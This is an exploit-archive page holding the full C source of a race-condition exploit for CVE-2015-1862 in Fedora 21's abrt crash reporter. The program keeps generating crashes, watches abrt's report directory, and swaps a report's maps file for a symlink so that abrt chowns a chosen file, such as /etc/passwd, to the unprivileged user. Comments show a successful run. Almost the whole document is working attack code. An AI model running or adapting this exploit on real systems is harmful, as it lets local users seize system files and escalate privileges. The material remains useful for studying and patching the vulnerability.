Abrt (Fedora 21) – Race Condition
#include <stdlib.h> #include <unistd.h> #include <stdbool.h> #include <stdio.h> #include <signal.h> #include <err.h> #include <string.h> #include <alloca.h> #include <limits.h> #include <sys/inotify.h> #include <sys/prctl.h> #include <sys/types.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/stat.h> // // This is a race condition exploit for CVE-2015-1862, targeting Fedora. // // Note: It can take a few minutes to win the race condition. // // -- taviso@cmpxchg8b.com, April 2015. // // $ cat /etc/fedora-release // Fedora release 21 (Twenty One) // $ ./a.out /etc/passwd // [ wait a few minutes ] // Detected ccpp-2015-04-13-21:54:43-14183.new, attempting to race... // Didn't win, trying again! // Detected ccpp-2015-04-13-21:54:43-14186.new, attempting to race... // Didn't win, trying again! // Detected ccpp-2015-04-13-21:54:43-14191.new, attempting to race... // Didn't win, trying again! // Detected ccpp-2015-04-13-21:54:43-14195.new, attempting to race... // Didn't win, trying again! // Detected ccpp-2015-04-13-21:54:43-14198.new, attempting to race... // Exploit successful... // -rw-r--r--. 1 taviso abrt 1751 Sep 26 2014 /etc/passwd // static const char kAbrtPrefix[] = "/var/tmp/abrt/"; static const size_t kMaxEventBuf = 8192; static const size_t kUnlinkAttempts = 8192 * 2; static const int kCrashDelay = 10000; static pid_t create_abrt_events(const char *name); int main(int argc, char **argv) { int fd, i; int watch; pid_t child; struct stat statbuf; struct inotify_event *ev; char *eventbuf = alloca(kMaxEventBuf); ssize_t size; // First argument is the filename user wants us to chown(). if (argc != 2) { errx(EXIT_FAILURE, "please specify filename to chown (e.g. /etc/passwd)"); } // This is required as we need to make different comm names to avoid // triggering abrt rate limiting, so we fork()/execve() different names. if (strcmp(argv[1], "crash") == 0) { __builtin_trap(); } // Setup inotify, and add a watch on the abrt directory. if ((fd = inotify_init()) < 0) { err(EXIT_FAILURE, "unable to initialize inotify"); } if ((watch = inotify_add_watch(fd, kAbrtPrefix, IN_CREATE)) < 0) { err(EXIT_FAILURE, "failed to create new watch descriptor"); } // Start causing crashes so that abrt generates reports. if ((child = create_abrt_events(*argv)) == -1) { err(EXIT_FAILURE, "failed to generate abrt reports"); } // Now start processing inotify events. while ((size = read(fd, eventbuf, kMaxEventBuf)) > 0) { // We can receive multiple events per read, so check each one. for (ev = eventbuf; ev < eventbuf + size; ev = &ev->name[ev->len]) { char dirname[NAME_MAX]; char mapsname[NAME_MAX]; char command[1024]; // If this is a new ccpp report, we can start trying to race it. if (strncmp(ev->name, "ccpp", 4) != 0) { continue; } // Construct pathnames. strncpy(dirname, kAbrtPrefix, sizeof dirname); strncat(dirname, ev->name, sizeof dirname); strncpy(mapsname, dirname, sizeof dirname); strncat(mapsname, "/maps", sizeof mapsname); fprintf(stderr, "Detected %s, attempting to race...\n", ev->name); // Check if we need to wait for the next event or not. while (access(dirname, F_OK) == 0) { for (i = 0; i < kUnlinkAttempts; i++) { // We need to unlink() and symlink() the file to win. if (unlink(mapsname) != 0) { continue; } // We won the first race, now attempt to win the // second race.... if (symlink(argv[1], mapsname) != 0) { break; } // This looks good, but doesn't mean we won, it's possible // chown() might have happened while the file was unlinked. // // Give it a few microseconds to run chown()...just in case // we did win. usleep(10); if (stat(argv[1], &statbuf) != 0) { errx(EXIT_FAILURE, "unable to stat target file %s", argv[1]); } if (statbuf.st_uid != getuid()) { break; } fprintf(stderr, "\tExploit successful...\n"); // We're the new owner, run ls -l to show user. sprintf(command, "ls -l %s", argv[1]); system(command); return EXIT_SUCCESS; } } fprintf(stderr, "\tDidn't win, trying again!\n"); } } err(EXIT_FAILURE, "failed to read inotify event"); } // This routine attempts to generate new abrt events. We can't just crash, // because abrt sanely tries to rate limit report creation, so we need a new // comm name for each crash. static pid_t create_abrt_events(const char *name) { char *newname; int status; pid_t child, pid; // Create a child process to generate events. if ((child = fork()) != 0) return child; // Make sure we stop when parent dies. prctl(PR_SET_PDEATHSIG, SIGKILL); while (true) { // Choose a new unused filename newname = tmpnam(0); // Make sure we're not too fast. usleep(kCrashDelay); // Create a new crashing subprocess. if ((pid = fork()) == 0) { if (link(name, newname) != 0) { err(EXIT_FAILURE, "failed to create a new exename"); } // Execute crashing process. execl(newname, newname, "crash", NULL); // This should always work. err(EXIT_FAILURE, "unexpected execve failure"); } // Reap crashed subprocess. if (waitpid(pid, &status, 0) != pid) { err(EXIT_FAILURE, "waitpid failure"); } // Clean up the temporary name. if (unlink(newname) != 0) { err(EXIT_FAILURE, "failed to clean up"); } // Make sure it crashed as expected. if (!WIFSIGNALED(status)) { errx(EXIT_FAILURE, "something went wrong"); } } return child; } |